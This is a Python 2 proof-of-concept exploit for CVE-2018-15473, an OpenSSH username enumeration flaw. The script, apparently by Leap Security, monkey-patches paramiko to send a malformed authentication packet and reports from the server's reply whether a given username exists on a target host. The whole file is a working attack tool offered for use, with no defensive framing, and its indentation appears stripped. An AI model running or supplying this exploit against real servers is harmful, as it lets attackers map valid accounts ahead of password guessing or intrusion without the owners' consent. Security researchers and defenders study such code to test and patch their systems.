#!/usr/bin/env python2
# CVE-2018-15473 SSH User Enumeration by Leap Security (@LeapSecurity) https://leapsecurity.io
# Credits: Matthew Daley, Justin Gardner, Lee David Painter
import argparse, logging, paramiko, socket, sys, os
class InvalidUsername(Exception):
pass
# malicious function to malform packet
def add_boolean(*args, **kwargs):
pass
# function that'll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
# malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
# call when username was invalid
def invalid_username(*args, **kwargs):
raise InvalidUsername()
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username
# perform authentication with malicious packet and username
def check_user(username):
sock = socket.socket()
sock.connect((args.target, args.port))
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[!] Failed to negotiate SSH transport'
sys.exit(2)
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print "[-] {} is an invalid username".format(username)
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print "[+] {} is a valid username".format(username)
# remove paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)')
parser.add_argument('target', help="IP address of the target system")
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
parser.add_argument('username', help="Username to check for validity.")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
check_user(args.username)
